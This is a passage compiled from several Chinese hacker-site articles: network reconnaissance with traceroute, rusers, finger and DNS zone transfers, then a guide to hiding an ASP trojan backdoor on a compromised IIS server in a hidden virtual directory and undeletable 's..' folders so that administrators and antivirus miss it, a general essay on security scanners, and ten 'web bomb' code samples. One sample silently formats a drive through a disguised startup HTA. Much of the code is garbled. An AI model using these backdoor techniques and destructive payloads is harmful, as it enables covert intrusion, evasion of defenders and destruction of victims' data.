3 100ms 90ms 100ms 202.101.165.1
4 90ms 95ms 95ms 202.97.18.241
5 105ms 105ms 100ms 202.97.18.93
6 100ms 99ms 100ms 202.97.10.37
7 135ms 98ms 100ms 202.97.9.78
8 760ms 725ms 768ms gip-ftworth-4-serial8-3.gip.net[204.59.178.53]
9 730ms 750ms 715ms gip-ftworth-4-serial8-3.gip.net[204.59.178.53]
10 750ms 785ms 772ms 144.232.11.9
11 740ms 800ms 735ms sl-bb11-pen-2-0.sprintlink.NET[144.232.8.158]
12 790ms 800ms 735ms sl-nap2-pen-4-0-0.sprintlink.net[144.232.5.66]
13 770ms 800ms 800ms p219.t3.ans.net[192.157.69.13]
14 775ms 820ms 780ms h14-1.t60-6.Reston.t3.ANS.NET[140.223.17.18]
15 780ms 800ms 800ms h11-1.t60-2.Reston.t3.ANS.NET[140.223.25.34]
16 790ms 795ms 800ms h14-1.t104-0.Atlanta.t3.ANS.NET[140.223.65.18]
17 * h14-1.t104-0.Atlanta.t3.ANS.NET[140.223.65.18] reports:Destination host unreachable.
Trace complete.
  3、rusers和finger
  这两个都是Unix命令。通过这两个命令,你能收集到目标计算
机上的有关用户的消息。
使用rusers命令,产生的结果如下示意:
gajakesnark.wizard.com:tty p1 Nov 13 15:42 7:30 (remote)
rootsnark.wizard.com:tty p2 Nov 13 14:57 7:21(remote)
robosnark.wizard.com:tty p3 Nov 15 01:04 01 (remote)
angel111snark.wizard.com:tty p4 Nov 14 23:09 (remote)
pippensnark.wizard.com:tty p6 Nov 14 15:05 (remote)
rootsnark.wizard.com:tty p5 Nov 13 16:03 7:52 (remote)
gajakesnark.wizard.com:tty p7 Nov 14 20:20 2:59 (remote)
dafrsnark.wizard.com:tty p15 Nov 3 20:09 4:55 (remote)
dafrsnark.wizard.com:tty p1 Nov 14 06:12 19:12 (remote)
dafrsnark.wizard.com:tty p19 Nov 14 06:12 19:02 (remote)
  最左边的是通过远程登录的用户名。还包括上次登录时间,使用的SHELL类型等等信息。
  使用finger可以产生类似下面的结果:
userS00PPPppp-122-pm1.wizaThuNov1421:29:30-stillloggedin
userS15PPPppp-119-pm1.wizaThuNov1422:16:35-stillloggedin
userS04PPPppp-121-pm1.wizaFriNov1500:03:22-stillloggedin
userS03PPPppp-112-pm1.wizaThuNov1422:20:23-stillloggedin
userS26PPPppp-124-pm1.wizaFriNov1501:26:49-stillloggedin
userS25PPPppp-102-pm1.wizaThuNov1423:18:00-stillloggedin
userS17PPPppp-115-pm1.wizaThuNov1407:45:00-stillloggedin
userS-10.0.0.0SatAug1015:50:03-stillloggedin
userS23PPPppp-103-pm1.wizaFriNov1500:13:53-stillloggedin
userS12PPPppp-111-pm1.wizaWedNov1316:58:12-stillloggedin
这个命令能显示用户的状态。该命令是建立在客户/服务模型之上的。用户通过客户端软件向服务器请求信息,然后解释这些信息,提供给用户。在服务器上一般运行一个叫做fingerd的程序,根据服务器的机器的配臵,能向客户提供某些信息。如果考虑到保护这些个人信息的话,有可能许多服务器不提供这个服务,或者只提供一些无关的信息。
  4、host命令
  host是一个Unix命令,它的功能和标准的nslookup查询一样。唯一的区别是host命令比较容易理解。host命令的危险性相当大,下面举个使用实例,演示一次对bu.edu的host查询。
  host -l -v -t any bu.edu
  这个命令的执行结果所得到的信息十分多,包括操作系统,机器和网络的很多数据。先看一下基本信息:
Found 1 addresses for BU.EDU
Found 1 addresses for RS0.INTERNIC.NET
Found 1 addresses for SOFTWARE.BU.EDU
Found 5 addresses for RS.INTERNIC.NET
Found 1 addresses for NSEGC.BU.EDU
Trying 128.197.27.7
bu.edu 86400 IN SOABU.EDU HOST MASTER.BU.EDU(
961112121;serial(version)
900;refresh period
900;retry refresh this often
604800;expiration period
86400;mini mum TTL
)
bu.edu 86400 INNSSOFTWARE.BU.EDU
bu.edu 86400 INNSRS.INTERNIC.NET
bu.edu 86400 INNSNSEGC.BU.EDU
bu.edu 86400 INA 128.197.27.7
  这些本身并没有危险,只是一些机器和它们的DNS服务器。这些信息可以用WHOIS或在注册域名的站点中检索到。但看看下面几行信息:
bu.edu 86400 INHINFOSUN-SPARCSTATION-10/41 UNIX
PPP-77-25.bu.edu 86400 INA128.197.7.237
PPP-77-25.bu.edu 86400 INHINFOPPP-HOSTPPP-SW
PPP-77-26.bu.edu 86400 INA128.197.7.238
PPP-77-26.bu.edu 86400 INHINFOPPP-HOSTPPP-SW
ODIE.bu.edu 86400 INA128.197.10.52
ODIE.bu.edu 86400 INMX10CS.BU.EDU
ODIE.bu.edu 86400 INHINFODEC-ALPHA-3000/300LX OSF1
从这里,我们马上就发现一台EDCAlpha运行的是OSF1操作系统。再看看:
STRAUSS.bu.edu 86400 INHINFOPC-PENTIUMD OS/WINDOWS
BURULLUS.bu.edu 86400 INHINFOSUN-3/50 UNIX(Ouch)
GEORGETOWN.bu.edu 86400 INHINFOMACINTOSH MAC-OS
CHEEZWIZ.bu.edu 86400 INHINFOSGI-INDIGO-2 UNIX
POLLUX.bu.edu 86400 INHINFOSUN-4/20-SPARCSTATION-SLC UNIX
SFA109-PC201.bu.edu 86400 INHINFOPCMS-D OS/WINDOWS
UH-PC002-CT.bu.edu 86400 INHINFOPC-CLONE MS-DOS
SOFTWARE.bu.edu 86400 INHINFOSUN-SPARCSTATION-10/30 UNIX
CABMAC.bu.edu 86400 INHINFOMACINTOSH MAC-OS
VIDUAL.bu.edu 86400 INHINFOSGI-INDYIRIX
KIOSK-GB.bu.edu 86400 INHINFOGATORBOXGATORWARE
CLARINET.bu.edu 86400 INHINFOVISUAL-X-19-TURBOX-SERVER
DUNCAN.bu.edu 86400 INHINFODEC-ALPHA-3000/400OSF1
MILHOUSE.bu.edu 86400 INHINFOVAXSTATION-II/GPX UNIX
PSY81-PC150.bu.edu 86400 INHINFOPC WINDOWS-95
BUPHYC.bu.edu 86400 INHINFOVAX-4000/300OpenVMS
  利用上述有用的网络命令,可以收集到许多有用的信息,比方一个域里的名字服务器的地址,一台计算机上的用户名,一台服务器上
正在运行什么服务,这个服务是哪个软件提供的,计算机上运行的是什么操作系统。
  二、端口扫描途径
  什么是扫描器
  扫描器是一种自动检测远程或本地主机安全性弱点的程序,通过使用扫描器你可以不留痕迹的发现远程服务器的各种TCP端口的分配及提供的服务和它们的软件版本!这就能让我们间接的或直观的了解到远程主机所存在的安全问题。
  工作原理
  扫描器通过选用远程TCP/IP不同的端口的服务,并记录目标给予的回答,通过这种方法,可以搜集到很多关于目标主机的各种有用的信息(比如:是否能用匿名登陆!是否有可写的FTP目录,是否能用TELNET,HTTPD是用ROOT还是nobady在跑!)
  扫描器能干什么?
  扫描器并不是一个直接的攻击网络漏洞的程序,它仅仅能帮助我们发现目标机的某些内在的弱点。一个好的扫描器能对它得到的数据进行分析,帮助我们查找目标主机的漏洞。但它不会提供进入一个系统的详细步骤。
  扫描器应该有三项功能:发现一个主机或网络的能力;一旦发现一台主机,有发现什么服务正运行在这台主机上的能力;通过测试这些服务,发现漏洞的能力。
编写扫描器程序必须要很多TCP/IP程序编写和C,Perl和或
SHELL语言的知识。需要一些Socket编程的背景,一种在开发客户/服务应用程序的方法。开发一个扫描器是一个雄心勃勃的项目,通常能使程序员感到很满意。
 
和网管斗争到底制造永不被杀的80端口后门
把ASP木马放到其中一个站点中某个深的目录中,再在Internet服务管理器面中选着这个站点(比如默认管理站点)打开修改属性->主目录中,把.应用程序保护.中改为"低",再在"写入"前面打上钩,在浏览器中输入ASP木马路径,输入密码以后进入管理页面,运行CMD命令还可以加用户之类的果然能得到管理员权限。而且上传文件都是在WEB进程上来着,而且还有系统权限,觉得这样建立肉鸡相对来说比较安全就走了,后来想不到不过几天这个后门就没了,浏览上去连ASP木马都没了,到底怎么回事?而且对方还搞了防火墙,只开21,80端口,眼汪汪丢去真可惜,看来管理员是察觉到了。
看着我想有两个可能,一是ASP木马被杀,被管理员查到ASP木马就删了,二是那个可能管理员看到这个站点的属性改了就XXX,你也许会说用站点属性修改过的可以.写入.来写个木马上去,可是错了,管理员把默认管理站点都删了,或者做其他修改了,昏,本来好好的后门却成了比较明显的暴露给管理员看了,而且最新的ASP也被会杀毒,看来ASP这种方法也是不太隐蔽,还需要改进,突然想到可以通过建立隐藏主页,而且是虚拟目录可以设臵.应用程序保护.为低的,其他站点中的目录属性是不可以设臵这样的属性的,这
样就不会暴露Internet服务管理器中任何修改的迹象了,(对于一般的管理员来说,对于BT的我就不敢说了),OK我们来第一步
  一、建立个隐藏虚拟主页(同时也可以做主页一举两得)
  一般情况下,如果在肉鸡上开主页的话,只要管理员查看一下iis管理器程序,就会发现我们的主页,这样不但我们的主页暴露了,还可能会被管理员把我们给踢出去。而今天我教大家的方法是让管理员在iis管理器里发现不了方法。首先打开肉机(本例中以自己的机器为例)iis管理器,选定一个文件夹,然后点击右键,选择.资源管理器.,到网站的根目录下新建一个文件夹kiss,然后到system32上新建一个文件夹,我这里取名为myhome(这个文件夹尽量隐蔽的目录深一些,才不会被管理员发现)。
  回到iis管理器按f5刷新就会看到kiss这个目录,选中它后,点击右键,选择.新建>虚拟目录.,我们给主个虚拟目录取名kiss,然后把这个虚拟目录指向myhome,建立完成后,现在放个首页进去,打开浏览器,输入http://127.0.0.1/kiss/kiss就应该可以了,这样做就是把ASP放到system32/myhome目录下,比如你ASP木马是kiss.asp,那么放到system32/myhome目录后,浏览http://127.0.0.1/kiss/kiss/kiss.asp就是你asp木马的路径了,让这样kiss这个目录没有了。然后打开我的电脑,找到网站的根目录,删掉kiss这个文件夹,再打开浏览器输入刚才的网址,哈哈,是不是又打开了,怎么样,一个隐藏的个人主页就这样建立完成了。这样就不再会被管理员发现了吧,你不信就把iis的管理器关了,再进入果然是没有修
改的痕迹,这样也可以建立网页,如果你说这样会增加你的主页危险性,那你就重新建立个虚拟目录,不用我说了吧,再者如果再想修改你的虚拟目录的属性的话可以再在网站的根目录重新建立kiss目录,然后在iis的管理器就可以看到你的站点了
二、让ASP木马不被杀
你要说是修改ASP木马其中代码或者加密等来逃避杀毒,错了,这个不用你修改,而且谁也不保证你修改过的ASP不被XX杀毒软件杀,反正我也是懒改,呵呵,我们运行CMD,cdc:\winnt\system32\myhome。也就是你虚拟目录转向的地址,先说一下原理大家都知道在Windows中.\.符号是路径的分隔符号,比如.C:\Windows\.的意思就是C分区中的Windows文件夹,.C:\Windows\System.exe.的意思就是C分区中的Windows文件夹中的System.exe文件,好继续我们假设一下:
  如果文件名中有.\.符号会怎么样呢?假如.S\.是一个文件夹的名字,这个文件夹位于:.F:\.,他的路径就是.F:\S\.,当我们试图访问的时候Windows会错误的认为我们要打开的文件是F分区的S文件夹,这样Windows就无法打开并且会返回一个错误,因为以上的路径并不存在。
  也许你现在正在尝试创建.S\.文件,但是Windows会提示你:.\.符号是不能作为文件、文件夹的名字的。看来Windows还是早已想到这一点了的。OK我们继续进行,就不信不能建立包含.\.符号的文件。
  现在打开你的电脑,我们要做一些很有趣的尝试。进入Windows后点击:开始>运行然后输入.cmd.并会车(如果是Win98请输入.COMMAND.),这时你会看到Windows的命令控制台,我们就是要利用它完成我们剩下的测试,以下包含了很多命令其中{}中的字符是我的注释:
  MicrosoftWindowsXP[版本5.1.2600]
  (C)版权所有1985-2001MicrosoftCorp.
  c:\winnt\system32\myhome>mkdir s\{我们的第一次尝试,结果Windows只创建了S文件夹"\"被忽略掉了}
  c:\winnt\system32\myhome>mkdir s\s1\{还是失败,Windows先创建了S文件夹,然后在S内创建s1文件夹}
  c:\winnt\system32\myhome>mkdir s.\{"s.\"被解析成S".\"又被忽略了}
  子目录或文件s.\已经存在。
  c:\winnt\system32\myhome>mkdir s..\{终于成功了,现在你可以在资源管理器看到"s."但却无法打开/删除}
  c:\winnt\system32\myhome>mkdir s…\{又成功了,在资源浏览器能吹?s.."可以打开但是无法删除}
  ----------------------------------------------
  为什么会这样?我们先说你看到的这个.S..文件夹,他即不能打开也不能删除,不能打开是因为他的实际路径是.c:\winnt\system32\myhome\s..\.(我们自己创建的所以可以确定他的
实际路径)但是在Windows资源管理器中名字变成了.S..也就是说当你试图打开它的时候Windows实际上尝试打开.c:\winnt\system32\myhome\s.\.当然是不能打开的,文件并不存在,所以Windows会报错。不能删除也是因为这个,Windows把一个实际存在的文件路径错误的解析为一个不存在的路径,并进行xx作当然是无法完成的。
  该说.S...这个文件了,这个文件可以打开,但是却无法删除。等等……打开?你以为Windows真的是打开了我们创建的.s…\.文件了吗?我们做下面的试验你就明白了。还是老规矩{}是我的注释方便大家理解:
  ----------------------------------------------
  MicrosoftWindowsXP[版本5.1.2600]
  (C)版权所有1985-2001MicrosoftCorp.
  c:\winnt\system32\myhome>copy net.asp s..\{复制刚刚你的asp的木马文件到.s..\.,资源管理器的.S..}
  已复制1个文件。
  c:\winnt\system32\myhome>
  ----------------------------------------------
现在回到你的资源管理器打开.S..文件夹,你看到了什么?.net.asp.文件怎么会在这里?我们刚刚的确复制到了.S..呀?难道我们打开.S..文件夹实际上就是打开了.S.?不错事实就是这样。其实如果你再创建一个.S.文件夹的话.S..就能打开了,但是实际上打
开的是.S.。
  这是关键的话题了,其实我们就利用S.目录不被杀的目的来隐藏我们的木马,不管木马都毒,可是一般来说的exe文件不能在s.这样的目录下运行的,但是asp木马却可以!可以通过浏览来执行CMD命令,把net.asp复制到s.目录后,把net.asp删了,我们在浏览器http://127.0.0.1/kiss/kiss/s../net.asp就可以看到浏览得到asp木马了,一般用户根本不可能发现他,就算专业级的杀毒软件也只会去杀.s.而跳过.s..\.,好了那就说一下删除方法吧
  MicrosoftWindowsXP[版本5.1.2600]
  (C)版权所有1985-2001MicrosoftCorp.
  F:\Test>dir
  驱动器F中的卷是BGTING
  卷的序列号是2C8E-FE1C
  F:\Test的目录
  2003-09-1117:50<DIR>.
  2003-09-1117:50<DIR>..
  2003-09-1118:35<DIR>s.
  2003-09-1118:37<DIR>s..
  1个文件9字节
  5个目录3,390,029,824可用字节
  c:\winnt\system32\myhome>rmdir s..\
  目录不是空的。
  c:\winnt\system32\myhome>rmdir s..\ /s
  s..\,是否确认(Y/N)?y
  c:\winnt\system32\myhome>rmdir s…\ /s
  s…\,是否确认(Y/N)?y
  这也不用担心搞坏你肉鸡了,好了这样一个很隐蔽的后门就建立了,而且不被杀,如果在肉鸡,上述要在3389进行测试通过的。
 
安全扫描软件浅谈
安全扫描就是对计算机系统或者其它网络设备进行安全相关的检测,以找出安全隐患和可被黑客利用的漏洞。显然,安全扫描软件是把双刃剑,黑客利用它入侵系统,而系统管理员掌握它以后又可以有效的防范黑客入侵。因此,安全扫描是保证系统和网络安全必不可少的手段,必须仔细研究利用。
  安全扫描通常采用两种策略,第一种是被动式策略,第二种是主动式策略。所谓被动式策略就是基于主机之上,对系统中不合适的设臵,脆弱的口令以及其他同安全规则抵触的对象进行检查;而主动式策略是基于网络的,它通过执行一些脚本文件模拟对系统进行攻击的行为并记录系统的反应,从而发现其中的漏洞。利用被动式策略扫描称为系统安全扫描,利用主动式策略扫描称为网络安全扫描。
  一、目前安全扫描主要涉及的检测技术
  相信读者已经对安全扫描有了一个初步的认识,这里进一步介绍安全扫描的四种检测技术:
  ①基于应用的检测技术,它采用被动的,非破坏性的办法检查应用软件包的设臵,发现安全漏洞。
  ②基于主机的检测技术,它采用被动的,非破坏性的办法对系统进行检测。通常,它涉及到系统的内核,文件的属性,操作系统的补丁等问题。这种技术还包括口令解密,把一些简单的口令剔除。因此,这种技术可以非常准确的定位系统的问题,发现系统的漏洞。它的缺点是与平台相关,升级复杂。
  ③基于目标的漏洞检测技术,它采用被动的,非破坏性的办法检查系统属性和文件属性,如数据库,注册号等。通过消息文摘算法,对文件的加密数进行检验。这种技术的实现是运行在一个闭环上,不断地处理文件,系统目标,系统目标属性,然后产生检验数,把这些检验数同原来的检验数相比较。一旦发现改变就通知管理员。
  ④基于网络的检测技术,它采用积极的,非破坏性的办法来检验系统是否有可能被攻击崩溃。它利用了一系列的脚本模拟对系统进行攻击的行为,然后对结果进行分析。它还针对已知的网络漏洞进行检验。网络检测技术常被用来进行穿透实验和安全审记。这种技术可以发现一系列平台的漏洞,也容易安装。但是,它可能会影响网络的性能。
  优秀的安全扫描产品应该是综合了以上4种方法的优点,最大限度的增强漏洞识别的精度。
二、安全扫描在企业部署安全策略中处于重要地位
  从前面的介绍可以看出安全扫描在维护计算机安全方面起到的
重要作用,但仅仅装备安全扫描软件是不够的。
  现有的信息安全产品中主要包括以下几个部分(安全扫描属于评估部分):防火墙,反病毒,加强的用户认证,访问控制和认证,加密,评估,记录报告和预警,安全固化的用户认证,认证,物理安全。这样,在部署安全策略时,有许多其它的安全基础设施要考虑进来,如防火墙,病毒扫描器,认证与识别产品,访问控制产品,加密产品,虚拟专用网等等。如何管理这些设备,是安全扫描系统和入侵侦测软件(入侵侦测软件往往包含在安全扫描系统中)的职责。通过监视事件日志,系统受到攻击后的行为和这些设备的信号,作出反应。这样,安全扫描系统就把这些设备有机地结合在一起。因此,而安全扫描是一个完整的安全解决方案中的一个关键部分,在企业部署安全策略中处于非常重要的地位。
  大家可能已经注意到防火墙和安全扫描的同时存在,这是因为防火墙是不够的。防火墙充当了外部网和内部网的一个屏障,但是并不是所有的外部访问都是通过防火墙的。比如,一个未经认证的调制解调器把内部网连到了外部网,就对系统的安全构成了威胁。此外,安全威胁往往并不全来自外部,很大一部分来自内部。另外,防火墙本身也很有可能被黑客攻破。
  结合了入侵侦测功能后,安全扫描系统具有以下功能:
  ①协调了其它的安全设备;
  ②使枯燥的系统安全信息易于理解,告诉了你系统发生的事情;
  ③跟踪用户进入,在系统中的行为和离开的信息;
  ④可以报告和识别文件的改动;
  ⑤纠正系统的错误设臵;
  ⑥识别正在受到的攻击;
  ⑦减轻系统管理员搜索最近黑客行为的负担;
  ⑧使得安全管理可由普通用户来负责;
  ⑨为制定安全规则提供依据。不过必须注意,安全扫描系统不是万能的。首先,它不能弥补由于认证机制薄弱带来的问题,不能弥补由于协议本身的问题;此外,它也不能处理所有的数据包攻击,当网络繁忙时它也分析不了所有的数据流;当受到攻击后要进行调查,离不开安全专家的参与。
  三、网络安全和系统安全主要薄弱环节
  要正确部署安全策略、有针对性的使用安全扫描产品,有必要了解一下安全的主要薄弱环节在哪里。下面提到的三个问题是产生安全漏洞的主要原因:
  ①软件自身安全性差。很多软件在设计时忽略或者很少考虑安全性问题,考虑了安全性的软件产品也往往因为开发人员缺乏安全培训、没有安全经验而造成了安全漏洞。这样产生的安全漏洞分为两类:第一类,是由于操作系统本省设计缺陷带来的安全漏洞,这类漏洞将被运行在该系统上的应用程序所继承;第二类是应用软件程序的安全漏洞。第二类漏洞更为常见,更需要得到广泛的关注。
  ②安全策略不当。保证系统安全不是仅仅使用个别安全工具就能做到的,需要在对网络进行总体分析的前提下制定安全策略,并且用
一系列的安全软件来实现一个完整的安全解决方案。常见的错误例子是使用了防火墙而忽略了扫描系统,或者相反。
  ③人员缺乏安全意识。前面阐述的一切都是在技术层面上对网络安全进行分析和讨论,所有这一切都需要人来完成。保证系统的安全,仅靠安全软件是不够的,同时要注重安全管理人才的培养,提高安全防范意识,最终做到安全有效的防范。而当前人员安全意识的培养还远远不够,在现在的网络环境中,绝大多数漏洞存在的原因在于管理员对系统进行了错误的配臵,或者没有及时的升级系统软件到最新的版本。
四、安全扫描技术的发展趋势
  安全扫描软件从最初的专门为UNIX系统编写的一些只具有简单功能的小程序,发展到现在,已经出现了多个运行在各种操作系统平台上的、具有复杂功能的商业程序。今后的发展趋势,我们认为有以下几点:
  ①使用插件(plugin)或者叫做功能模块技术。每个插件都封装一个或者多个漏洞的测试手段,主扫描程序通过调用插件的方法来执行扫描。仅仅是添加新的插件就可以使软件增加新功能,扫描更多漏洞。在插件编写规范公布的情况下,用户或者第三方公司甚至可以自己编写插件来扩充软件的功能。同时这种技术使软件的升级维护都变得相对简单,并具有非常强的扩展性。
  ②使用专用脚本语言。这其实就是一种更高级的插件技术,用户可以使用专用脚本语言来扩充软件功能。这些脚本语言语法通常比较
简单易学,往往用十几行代码就可以定制一个简单的测试,为软件添加新的测试项。脚本语言的使用,简化了编写新插件的编程工作,使扩充软件功能的工作变得更加容易,也更加有趣。
  ③由安全扫描程序到安全评估专家系统。最早的安全扫描程序只是简单的把各个扫描测试项的执行结果罗列出来,直接提供给测试者而不对信息进行任何分析处理。而当前较成熟的扫描系统都能够将对单个主机的扫描结果整理,形成报表,能够并对具体漏洞提出一些解决方法,但对网络的状况缺乏一个整体的评估,对网络安全没有系统的解决方案。未来的安全扫描系统,应该不但能够扫描安全漏洞,还能够智能化的协助网络信息系统管理人员评估本网络的安全状况,给出安全建议,成为一个安全评估专家系统。
  五、用户选择安全扫描产品应注意的问题
  谈到这里,也许有些计算机安全管理人员开始考虑购买一套安全扫描系统,那么,购买此类产品需要考虑哪些方面呢?我们认为以下几点是要注意的:
  ①升级问题。由于当今应用软件功能日趋复杂化、软件公司在编写软件时很少考虑安全性等等多种原因,网络软件漏洞层出不穷,这使优秀的安全扫描系统必须有良好的可扩充性和迅速升级的能力。因此,在选择产品时,首先要注意产品是否能直接从因特网升级、升级方法是否能够被非专业人员掌握,同时要注意产品制造者有没有足够的技术力量来保证对新出现漏洞作出迅速的反应。
  ②可扩充性。对具有比较深厚的网络知识,并且希望自己扩充产
品功能的用户来说,应用了功能模块或插件技术的产品应该是首选。
  ③全面的解决方案。前面已经指出,网络安全管理需要多种安全产品来实现,仅仅使用安全扫描系统是难以保证网络的安全的。选择安全扫描系统,要考虑产品制造商能否提供包括防火墙、网络监控系统等完整产品线的全面的解决方案。
  ④人员培训。前面已经分析过,网络安全中人是薄弱的一环,许多安全因素是与网络用户密切相关的,提高本网络现有用户、特别是网络管理员的安全意识对提高网络安全性能具有非同寻常的意义。因此,在选择安全扫描产品时,要考虑制造商有无能力提供安全技术培训。
有关安全扫描的知识就谈到这里,希望能够有助于读者增加安全知识、提高安全意识,在大家的共同的努力下,加强我国的网络安全建设。
 
十大常见网页炸弹全揭密
最无聊的炸弹——死循环代码 使用最新的、打过安全补丁的浏览器
令人心有余悸的炸弹——恐怖的大图片 安装防火墙和杀毒软件,并及时更新
令你头昏眼花的炸弹——地震死机代码 事先备份注册表
最可怕的炸弹——格式化你的硬盘 将本机的危险命令改名
与死机无异——页面冻结代码 牢记不要浏览那些并不了解的网站
让人心烦的炸弹——不停地打开窗口 增强IE.免疫.能力
诱人的美丽——五光十色的炸弹 灵活应对WSH
让你眼花缭乱——黑白变幻 简单修改系统
让你无法关闭——循环显示无休无止 预防网页恶意代码
循环弹出多个广告——弹出多页面窗口 防范再次浏览恶意网页
一、最无聊的炸弹——死循环代码
  在网页中加入如下代码,只要有人点击你所发出的链接就会不停地打开IE浏览器,直至你的系统资源消耗殆尽死机为止!此时你唯一能做的就是重新启动计算机!
  代码如下:<imgsrc=*******:location="网址文件名.htm;">,注:此代码是一个.死循环程序.!属于聊天室炸弹!
  预防措施:打IE浏览器→工具→Internet选项→安全→Internet→自定义级别,把这里所有ActiveX控件和插件都选中.禁止.,选中之后就不会被恶意代码攻击!因为这是一个ActiveX脚本程序!
  二、令人心有余悸的炸弹——恐怖的大图片
  制作原理很简单:在html语言中加入<imgsrc=.http://恐怖图片的连接地址.width=.1.height=.******************(很大的数字).>即可。当你的IE看到此语句,就会不断的解析试图打开,但由于图片实在是太大了,超出了其处理能力,这样你的电脑就只有死机一条路可以走了。
三、令你头昏眼花的炸弹——地震死机代码
  在记事本中输入如下所示代码到<body>和</body>之间,然后存为任意名字的.html文件,打开该网页后会你的IE会发生.地震.,
让你头昏眼花,接着电脑就会死机!
<script>
if(window.top.moveBy){
for(i=1;i<50;i++){
for(j=3;j>0;j--){
window.top.moveBy(0,i);
window.top.moveBy(i,0);
window.top.moveBy(0,-i*2);
window.top.moveBy(-i*2,0);
window.top.moveBy(0,i);
window.top.moveBy(i,0);
}
}
}
</script>
<imgsrc="c:\con\con">
上面这段代码中的<imgsrc="c:\con\con">会使浏览者电脑死机。这是利用了Windows 9x的设备名称解析漏洞。
  漏洞说明:Windows 9X的\con\con设备名称解析漏洞允许用户远程攻击,导致对方Windows 98系统崩溃。当Windows遇到包含设备名的非法路径时,Windows会解析这些路径,此时内核的溢出会导致整个系统出错。
  漏洞解析:我们知道CON是DOS下的特殊设备名,不允许用做文件名,为什么用CON\CON会引起死机呢?我们把系统转到DOS下做个试验就知道了。键入如下命令:copy aa.txt con,系统会显示aa.txt文件的内容,而如果换成:copy aa.txt>con,系统会提示文件不能拷贝到文件自身。如果把CON换成LPT或PRN,则输出aa.txt的内容到打印机。由此可见,CON在这里代表了文件的本身,用CON\CON这个命令意味着不断调用这个文件自身,使系统资源迅速耗尽而死机。用上面的这个命令只是调用文件自身,速度实在太快,连按Ctrl+Alt+Del键结束的机会都没有。如果在资源管理器中选择的是.按WEB页.查看,那么连预览该网页都会死机!
  解决办法:该代码中的死机部分只对Windows 9x操作系统起作用(如果你的Windows没有打补丁就会死定了,赶快到微软的站点下载补丁吧。),也就是说Windows 2000/XP用户不会死机。但.地震.是难免的了。
  四、最可怕的炸弹——格式化你的硬盘
部分关键代码如下:
scr.Reset();
scr.Path="C:\\WINDOWS\\StartMenu\\Programs\\启动\\startup.hta";
scr.Doc="<objectid='wsh'classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>
wsh.Run('start/mformat.comd:/q/autotest/u');
alert('IMPORTANT:Windowsisremovingunusedtemporary........以下省
略....
当你浏览了该网页,就会把startup.hta文件悄悄地写入到你的电脑的C:\Winwods\StartMenu\Programs\启动文件夹下,并提示你Windows正在移除用不到的临时文件。而实际上却在暗中格式化你的D盘!代码中的./autotest.这个微软未公开的参数使得格式化硬盘时不会出现提示!另两个参数./q.和./u.,使得系统不检测硬盘便快速、完全的格式化硬盘。最后start.exe再配合./m.参数就可以使格式化时的DOS-prompt窗口在执行的时候处于最小化的状态。
  代码中的.F935DC22-1CF0-11D0-ADB9-00C04FD58A0B.对应为.Windows Scripting Host Shell Object.,我们可以在注册表编辑器中查到它的身影;代码中的.WSH.的全称是Windows Scripting Host,是微软提供的一种基于32位Windows平台的,与语言无关的脚本解释机制,它使得脚本能够直接在Windows桌面或命令提示符下运行。WSH所对应的程序Wscript.exe是一个脚本语言解释器,位于Windows所在文件夹下,正是它使得脚本可以被执行,就象执行批处理一样。
五、与死机无异——页面冻结代码
<body>
<Script>
functionfreeze()
{
alert('页面被冻结了!');
while(true){windows、history、back(-1)}
}
</Script>
<form>
<INPUTTYPE="BUTTON"VALUE="提交"onClick="freeze()">
</form>
</body>
  如果网页中含有下面这些代码,则当你点击.提交.按钮以后,就会出现.页面被冻结了!.的对话框,然后就会进入页面冻结状态,非常讨厌。
六、让人心烦的炸弹——不停地打开窗口
这就是本文开篇提到的打开一连串窗口的炸弹,源代码如下两种:
1、<imgsrc="*****:n=1;do{window.open(")}while(n==1)"width="1">
  这个炸弹要求浏览器不停地打开新的页面,用不了多久你的电脑就会死机,这样你也就被踢出了网络。
2、同样的原理,源代码还有这样的:<scriptlanguage="****">javascript:n=1;do{alert("嘿嘿,你小子中弹了!");}while(n==1)</SCRIPT>也是这种类型的炸弹。
  七、诱人的美丽——五光十色的炸弹
  如果点击含有下面代码的网页时,你的浏览器窗口会不停地交替显示蓝色黄色永不终止,就像是蓝色火焰,煞是好看,但在欣赏电脑
屏幕上美妙动人的现象的同时,你什么也不能做,只能RESET键重新启动电脑了。
<HTML>
<BODY>
<SCRIPT>
VARCOLOR=NEWArray;
color[1]="blue";
color[2]="yellow";
for(x=0;x<3;x++)
{
document、dgcolor=color[x]
in(x==2)
{
x=0;
}
}
</SCRIPT>
</BODY>
</HTML>
我们还可以设臵成其他颜色,只需改变color[1]="blue";color[2]="yellow"的颜色设臵即可,比如黑白交替的只需将.blue.换成.white.、.yellow.换成.black.。
八、让你眼花缭乱——黑白变幻
  下面这段代码就可以实现黑白变换的效果,令人眼花缭乱,最好的解决办法就是重新启动计算机。代码如下:
<body>
<Script>
varcolor=newArray;
color[1]="black";
color[2]="white";
for(x=0;x<3;x++)
{document、bgColor=color[x];
if(x==2){x=0;}
}
</Script>
</body>
九、让你无法关闭——循环显示无休无止
  如果网页中含有下面的代码,则当你点击该网页中的.关闭.按钮以后,就会出现.哈哈,关不掉吧!.对话框,当你点击.确定.以后还会循环出现此对话框,一直到你累得不得了,它还会出现。你说讨厌不讨厌?不过,反过来讲用来捉摸人也不错!代码如下:
<body>
<inputtype=buttonvalue=关闭onClick="
vare=1;
while(1==1){alert('哈哈,关不掉吧!')}">
</body>
十、循环弹出多个广告——弹出多页面窗口
  如果网页中含有下面的代码,则当你打开该网页时会弹出任意多个窗口,没完没了的显示让你烦恼不已。代码如下:
<head>
<Scritplanguage="JavaScritp">
functionpop()
{for(i=1;i<=10;i++)
{window、open('http://www.21cn.com','',
、width=400、height=460','status=off','location=off','toolbar=off','scrollbars=off')
}
}
</Script>
</head>
<body>
<formname="form">
<inputtype="button"value="测试"onClicd="pop()"name="button"class="ynnamedl">
</form>
</body>
在本例中会弹出10个窗口,事实上就看对方想让你打开几个了,如果是个特大数的话,你的系统资源很快就会占用光,等着死机吧!
网页炸弹防范方法
  1、留意微软和各大安全网站发布的安全公告,及时了解最新安全动态,封堵住漏洞,如果没有条件随时关注这些,至少要及时更新你的浏览器,使用最新的、打过各种安全补丁的浏览器;
  2、安装防火墙和杀毒软件,并及时更新。
  3、事先备份注册表,如果发现注册表被修改则导回就能恢复;
  4、将本机的FORMAT、DEL、DELTREE等危险命令改名,如将format、com改为format、old,自己需要使用时再改回来。也可以某些外部命令转移到其他目录下;
  5、牢记不要浏览那些并不了解的网站,也不要在聊天室里点击其他网友贴出的超级链接,这样可以避免遭到恶作剧者的攻击;
  6、增强IE.免疫.能力
